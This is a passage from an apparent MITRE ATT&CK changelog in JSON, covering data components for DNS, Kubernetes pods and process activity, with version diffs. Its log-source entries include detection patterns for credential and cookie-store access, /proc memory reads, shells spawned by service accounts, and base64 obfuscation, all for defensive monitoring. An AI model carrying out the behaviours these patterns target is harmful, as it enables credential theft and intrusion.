\"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"api_call: UpdateProcThreadAttribute (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS) and CreateProcess* with EXTENDED_STARTUPINFO_PRESENT / StartupInfoEx\"}, {\"name\": \"etw:Microsoft-Windows-Security-Auditing\", \"channel\": \"api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"API calls\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace, mmap, process_vm_writev\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of dd or sed targeting /proc/*/mem\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"CreateTransaction, CreateFileTransacted, RollbackTransaction, NtCreateProcessEx, NtCreateThreadEx\"}, {\"name\": \"ETW\", \"channel\": \"Calls to GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"WriteProcessMemory: WriteProcessMemory targeting regions containing KernelCallbackTable addresses\"}, {\"name\": \"EDR:file\", \"channel\": \"SetFileTime\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:36.999000+00:00\", \"old_value\": \"2025-04-18 15:10:31.145000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--cc150ad8-ecfa-4340-9aaa-d21165873bd4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.275000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0096", + "external_id": "DC0096" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Passive DNS", + "description": "\"Domain Name: Passive DNS\" captures logged historical and real-time domain name system (DNS) data. This includes records of domain-to-IP address resolutions over time, enabling analysts to track the evolution of domain infrastructure, uncover historical patterns of use, and detect malicious activities tied to domains and their associated IP addresses. Examples: \n\n- Historical Resolutions\n- Shared IP Usage\n- Temporal Patterns\n- Malicious Domain Clustering\n- Historical Lookback\n\nThis data component can be collected through the following measures:\n\n- Passive DNS Platforms: Use platforms that specialize in passive DNS collection and analysis:\n - Tools: Farsight DNSDB, RiskIQ PassiveTotal, PassiveDNS.\n- Threat Intelligence Feeds: Integrate passive DNS data from commercial or open-source threat intelligence providers.\n- Custom DNS Collectors: Deploy custom tools to capture DNS traffic at the network level for analysis.\n- Cloud DNS Services: Leverage cloud DNS services (e.g., AWS Route 53, Azure DNS) that maintain DNS query logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Domain Name", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0096\", \"external_id\": \"DC0096\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Domain Name\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--dd75f457-8dc0-4a24-9ae5-4b61c33af866\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:16:31.390000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--5263cb33-08cc-4a68-820f-004e1e400d76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:37.749000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0019", + "external_id": "DC0019" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pod Creation", + "description": "The initial deployment or instantiation of a new pod in a containerized environment. This includes creating a pod manually, through orchestration tools (Kubernetes), or via Infrastructure-as-Code (IaC) configurations. A Pod is the smallest deployable unit in Kubernetes, typically containing one or more containers. Creation methods include:\n- Direct pod deployment (`kubectl run`, `kubectl apply`)\n- Automated deployment via CI/CD pipelines (e.g., ArgoCD, Jenkins, GitOps)\n- Infrastructure-as-Code (IaC) templates (e.g., Terraform, Helm Charts)\n- API-based deployments via Kubernetes control plane (create_pod API calls)\n- Pods can be ephemeral (short-lived) or persistent (part of a StatefulSet or Deployment).\n\n*Data Collection Measures:*\n\n- Kubernetes Audit Logs\n - Captures all API requests, including pod `create` events.\n- Kube-api server Logs\t\n - Monitors API calls related to pod deployments and modifications. Related Events: `PodSandboxChanged`, `SyncLoop`, `Created pod`\n- Container Runtime Logs\t\n - Logs from CRI-O, containerd, or Docker capture pod creation events. Related Events: `container start`, `container create`\n- Cloud Provider Logs\t\n - GKE, EKS, AKS logs provide insights into Kubernetes API interactions.\n- SIEM & Log Aggregation\t\n - Integrates Kubernetes logs into SIEM solutions.\n- EDR/XDR Solutions\t\n - Monitors container-based activity for anomalous pod creations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "AWS:CloudTrail", + "channel": "CreatePod: Programmatic creation of new pod resources using container images not seen before in the environment" + }, + { + "name": "kubernetes:audit", + "channel": "create" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0019\", \"external_id\": \"DC0019\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"AWS:CloudTrail\", \"channel\": \"CreatePod: Programmatic creation of new pod resources using container images not seen before in the environment\"}, {\"name\": \"kubernetes:audit\", \"channel\": \"create\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:37.749000+00:00\", \"old_value\": \"2025-04-18 15:17:38.124000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--07688e40-a7fa-4436-937f-1216674341a0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:40.544000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0037", + "external_id": "DC0037" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pod Enumeration", + "description": "Extracting a list of running or existing pods within a containerized cluster environment. Pods are the smallest deployable units in a Kubernetes cluster and typically represent an application or workload. Enumeration of pods provides insight into the structure and state of applications running in the cluster, such as the names of pods, their namespaces, and their associated metadata.\n\n*Data Collection Measures:*\n\n- Kubernetes API Server Audit Logs:\n - Enable Audit Logging in Kubernetes to capture API requests, such as GET `/api/v1/pods`.\n- Container Runtime Logs:\n - Collect runtime-level logs from tools like CRI-O, containerd, or Docker, which might show relevant API calls for pod enumeration.\n- EDR and SIEM:\n - Endpoint Detection and Response (EDR) tools, if configured with cluster-level visibility, can monitor user commands like `kubectl get pods`.\n - SIEM platforms (e.g., Splunk) can ingest Kubernetes API logs to detect enumeration patterns.\n- Host-Based Monitoring:\n - Monitor processes and commands executed on nodes where `kubectl` is installed using tools like auditd, Sysmon for Linux, or kernel modules.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "kubernetes:apiserver", + "channel": "list or get requests against pods, deployments, or nodes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0037\", \"external_id\": \"DC0037\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"kubernetes:apiserver\", \"channel\": \"list or get requests against pods, deployments, or nodes\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:40.544000+00:00\", \"old_value\": \"2025-04-18 15:17:31.773000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--672b2ebd-4310-4efe-bf03-7ab005298a74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0030", + "external_id": "DC0030" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Pod Modification", + "description": "Changes made to a pod\u2019s configuration or control data within a containerized cluster. This can include updating settings such as resource limits, environment variables, annotations, labels, or even the containers running within the pod. Pod modifications are often executed using commands like kubectl set, kubectl patch, or kubectl edit.\n\n*Data Collection Measures:* \n\n- Kubernetes API Server Audit Logs:\n - Capture all API calls related to pod modification, such as PATCH, PUT, or UPDATE methods on v1/pods.\n- Runtime Security Tools:\n - Tools like Falco, Sysdig, and Kube-bench can monitor pod modifications at runtime and alert on policy violations.\n- Container Orchestration Logs:\n - Monitor events logged by Kubernetes itself (e.g., `kubectl logs -n kube-system kube-controller-manager`).\n- SIEM and EDR Solutions:\n - Use SIEM platforms (e.g., Splunk) to aggregate API server logs and detect patterns of unauthorized or suspicious pod modifications.\n - Endpoint Detection and Response (EDR) tools configured with container visibility can monitor commands like `kubectl` set or `kubectl patch`.\n- Host-Based Monitoring:\n - Collect and analyze logs for processes executing `kubectl` commands or interacting with Kubernetes configuration files (e.g., `.kube/config`).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0030\", \"external_id\": \"DC0030\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--06bb1e05-533b-4de3-ae87-9b99910465cf\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:17:41.365000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.539000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0035", + "external_id": "DC0035" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Access", + "description": "Refers to an event where one process attempts to open another process, typically to inspect or manipulate its memory, access handles, or modify execution flow. Monitoring these access attempts can provide valuable insight into both benign and malicious behaviors, such as debugging, inter-process communication (IPC), or process injection.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - EDR solutions that provide telemetry on inter-process access and memory manipulation.\n- Sysmon (Windows):\n - Event ID 10: Captures process access attempts, including:\n - Source process (initiator)\n - Target process (victim)\n - Access rights requested\n - Process ID correlation\n- Windows Event Logs:\n - Event ID 4656 (Audit Handle to an Object): Logs access attempts to system objects.\n - Event ID 4690 (Attempted Process Modification): Can help identify unauthorized process changes.\n- Linux/macOS Monitoring:\n - AuditD: Monitors process access through syscall tracing (e.g., `ptrace`, `open`, `read`, `write`).\n - eBPF/XDP: Used for low-level monitoring of kernel process access.\n - OSQuery: Query process access behavior via structured SQL-like logging.\n- Procmon (Process Monitor) and Debugging Tools:\n - Windows Procmon: Captures real-time process interactions.\n - Linux strace / ptrace: Useful for tracking process behavior at the system call level.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "name": "linux:osquery", + "channel": "Process State" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace attach" + }, + { + "name": "macos:unifiedlog", + "channel": "ptrace or task_for_pid" + }, + { + "name": "macos:osquery", + "channel": "process_open" + }, + { + "name": "auditd:SYSCALL", + "channel": "High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes" + }, + { + "name": "Apple TCC Logs", + "channel": "Microphone Access Events" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10, 7" + }, + { + "name": "linux:syslog", + "channel": "syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=25" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_OPEN" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4656" + }, + { + "name": "macos:unifiedlog", + "channel": "Unusual Mach port registration or access attempts between unrelated processes" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.security, library=libsystem_kernel.dylib" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace syscall or access to /proc/*/mem" + }, + { + "name": "macos:unifiedlog", + "channel": "vm_read, task_for_pid, or file open to cookie databases" + }, + { + "name": "linux:osquery", + "channel": "process_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "ACCESS" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, fork, mmap, ptrace" + }, + { + "name": "auditd:SYSCALL", + "channel": "ptrace or process_vm_readv" + }, + { + "name": "macos:osquery", + "channel": "unexpected memory inspection" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0035\", \"external_id\": \"DC0035\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=10\"}, {\"name\": \"linux:osquery\", \"channel\": \"Process State\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace attach\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"ptrace or task_for_pid\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_open\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"High frequency of accept(), read(), or SSL_read() syscalls tied to nginx/apache processes\"}, {\"name\": \"Apple TCC Logs\", \"channel\": \"Microphone Access Events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=10, 7\"}, {\"name\": \"linux:syslog\", \"channel\": \"syscalls (open, read, ioctl) on /dev/input or /proc/*/fd/*\"}, {\"name\": \"WinEventLog:Sysmon\", \"channel\": \"EventCode=25\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_OPEN\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected NSXPCConnection calls by non-Apple-signed or abnormal binaries\"}, {\"name\": \"WinEventLog:Security\", \"channel\": \"EventCode=4656\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unusual Mach port registration or access attempts between unrelated processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.security, library=libsystem_kernel.dylib\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace syscall or access to /proc/*/mem\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"vm_read, task_for_pid, or file open to cookie databases\"}, {\"name\": \"linux:osquery\", \"channel\": \"process_events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ACCESS\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, fork, mmap, ptrace\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"ptrace or process_vm_readv\"}, {\"name\": \"macos:osquery\", \"channel\": \"unexpected memory inspection\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:14:35.539000+00:00\", \"old_value\": \"2025-04-18 15:10:47.199000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 19:28:39.339000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/data-components/DC0032", + "external_id": "DC0032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Creation", + "description": "Refers to the event in which a new process (executable) is initialized by an operating system. This can involve parent-child process relationships, process arguments, and environmental variables. Monitoring process creation is crucial for detecting malicious behaviors, such as execution of unauthorized binaries, scripting abuse, or privilege escalation attempts.\n\n*Data Collection Measures:*\n\n- Endpoint Detection and Response (EDR) Tools:\n - EDRs provide process telemetry, tracking execution flows and arguments.\n- Windows Event Logs:\n - Event ID 4688 (Audit Process Creation): Captures process creation with associated parent process.\n- Sysmon (Windows):\n - Event ID 1 (Process Creation): Provides detailed logging\n- Linux/macOS Monitoring:\n - AuditD (execve syscall): Logs process creation.\n - eBPF/XDP: Used for low-level monitoring of system calls related to process execution.\n - OSQuery: Allows SQL-like queries to track process events (process_events table).\n - Apple Endpoint Security Framework (ESF): Monitors process creation on macOS.\n- Network-Based Monitoring:\n - Zeek (Bro) Logs: Captures network-based process execution related to remote shells.\n - Syslog/OSSEC: Tracks execution of processes on distributed systems.\n- Behavioral SIEM Rules:\n - Monitor process creation for uncommon binaries in user directories.\n - Detect processes with suspicious command-line arguments. ", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream 'eventMessage contains pubsub or broker'" + }, + { + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "name": "linux:osquery", + "channel": "Execution of binary resolved from $PATH not located in /usr/bin or /bin" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution path inconsistent with baseline PATH directories" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + }, + { + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "name": "linux:osquery", + "channel": "process_events" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec" + }, + { + "name": "macos:osquery", + "channel": "processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with suspicious arguments" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve network tools" + }, + { + "name": "macos:osquery", + "channel": "process_events" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls to soffice.bin with suspicious macro execution flags" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts" + }, + { + "name": "macos:osquery", + "channel": "process reading browser configuration paths" + }, + { + "name": "macos:unifiedlog", + "channel": "exec logs" + }, + { + "name": "auditd:EXECVE", + "channel": "execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: Process execution context for loaders calling dlopen/dlsym" + }, + { + "name": "auditd:EXECVE", + "channel": "EXECVE" + }, + { + "name": "auditd:EXECVE", + "channel": "execution of unexpected binaries during user shell startup" + }, + { + "name": "macos:unifiedlog", + "channel": "launch of Terminal.app or shell with non-standard environment setup" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of systemctl or service stop" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of launchctl or pkill" + }, + { + "name": "macos:unifiedlog", + "channel": "process::exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context" + }, + { + "name": "macos:osquery", + "channel": "Execution of non-standard binaries accessing Kerberos APIs" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Electron-based binary spawning shell or script interpreter" + }, + { + "name": "macos:unifiedlog", + "channel": "Electron app spawning unexpected child process" + }, + { + "name": "esxi:shell", + "channel": "/root/.ash_history or /etc/init.d/*" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve calls with high-frequency or known bandwidth-intensive tools" + }, + { + "name": "macos:unifiedlog", + "channel": "exec or spawn calls to proxy tools or torrent clients" + }, + { + "name": "containers:osquery", + "channel": "bandwidth-intensive command execution from within a container namespace" + }, + { + "name": "macos:unifiedlog", + "channel": "process launch" + }, + { + "name": "macos:unifiedlog", + "channel": "log stream --info --predicate 'subsystem == \"com.apple.cfprefsd\"'" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of security, sqlite3, or unauthorized binaries" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected applications generating outbound DNS queries" + }, + { + "name": "linux:Sysmon", + "channel": "EventCode=1" + }, + { + "name": "macos:osquery", + "channel": "execve" + }, + { + "name": "macos:unifiedlog", + "channel": "Unexpected child process of Safari or Chrome" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks" + }, + { + "name": "macos:unifiedlog", + "channel": "process writes or modifies files in excluded paths" + }, + { + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "name": "macos:unifiedlog", + "channel": "com.apple.mail.* exec.*" + }, + { + "name": "macos:unifiedlog", + "channel": "execution of memory inspection tools (lldb, gdb, osqueryi)" + }, + { + "name": "esxi:vobd", + "channel": "/var/log/vobd.log" + }, + { + "name": "kubernetes:apiserver", + "channel": "kubectl exec or kubelet API calls targeting running pods" + }, + { + "name": "docker:audit", + "channel": "Process execution events within container namespace context" + }, + { + "name": "auditd:SYSCALL", + "channel": "process persists beyond parent shell termination" + }, + { + "name": "macos:unifiedlog", + "channel": "background process persists beyond user logout" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)" + }, + { + "name": "macos:unifiedlog", + "channel": "Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns" + }, + { + "name": "esxi:hostd", + "channel": "process execution across cloud VM" + }, + { + "name": "auditd:EXECVE", + "channel": "systemctl spawning managed processes" + }, + { + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "name": "esxi:shell", + "channel": "/var/log/shell.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec events where web process starts a shell/tooling" + }, + { + "name": "docker:events", + "channel": "Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container" + }, + { + "name": "macos:unifiedlog", + "channel": "exec of osascript, bash, curl with suspicious parameters" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context" + }, + { + "name": "macos:endpointsecurity", + "channel": "es_event_exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of discovery commands targeting backup binaries, processes, or config paths" + }, + { + "name": "macos:unifiedlog", + "channel": "Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list" + }, + { + "name": "macos:osquery", + "channel": "process_events OR launchd" + }, + { + "name": "auditd:EXECVE", + "channel": "execve" + }, + { + "name": "macos:osquery", + "channel": "launchd or process_events" + }, + { + "name": "macos:unifiedlog", + "channel": "process and file events via log stream" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of scripts or binaries spawned from browser processes" + }, + { + "name": "macos:unifiedlog", + "channel": "Browser processes launching unexpected interpreters (osascript, bash)" + }, + { + "name": "macos:unifiedlog", + "channel": "exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files" + }, + { + "name": "auditd:SYSCALL", + "channel": "EXECVE" + }, + { + "name": "macos:unifiedlog", + "channel": "process:exec" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve: Execution of bash, python, or perl processes spawned by browser/email client" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of osascript, bash, or Terminal initiated from Mail.app or Safari" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity." + }, + { + "name": "macos:osquery", + "channel": "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes." + }, + { + "name": "macos:unifiedlog", + "channel": "process activity stream" + }, + { + "name": "auditd:SYSCALL", + "channel": "SYSCALL record where exe contains passwd/userdel/chage and auid != root" + }, + { + "name": "macos:unifiedlog", + "channel": "Post-login execution of unrecognized child process from launchd or loginwindow" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process command line contains base64, -enc, openssl enc -base64" + }, + { + "name": "macos:endpointsecurity", + "channel": "exec: arguments contain Base64-like strings" + }, + { + "name": "esxi:shell", + "channel": "commands containing base64, openssl enc -base64, xxd -p" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of process launched via loginwindow session restore" + }, + { + "name": "macos:unifiedlog", + "channel": "process: exec + filewrite: ~/.ssh/authorized_keys" + }, + { + "name": "containerd:runtime", + "channel": "/var/log/containers/*.log" + }, + { + "name": "macos:unifiedlog", + "channel": "Execution of Java apps or other processes with hidden window attributes" + }, + { + "name": "macos:unifiedlog", + "channel": "Process Execution" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve on code or jetbrains-gateway with remote flags" + }, + { + "name": "macos:unifiedlog", + "channel": "process: code or jetbrains-gateway launching with --tunnel or --remote" + }, + { + "name": 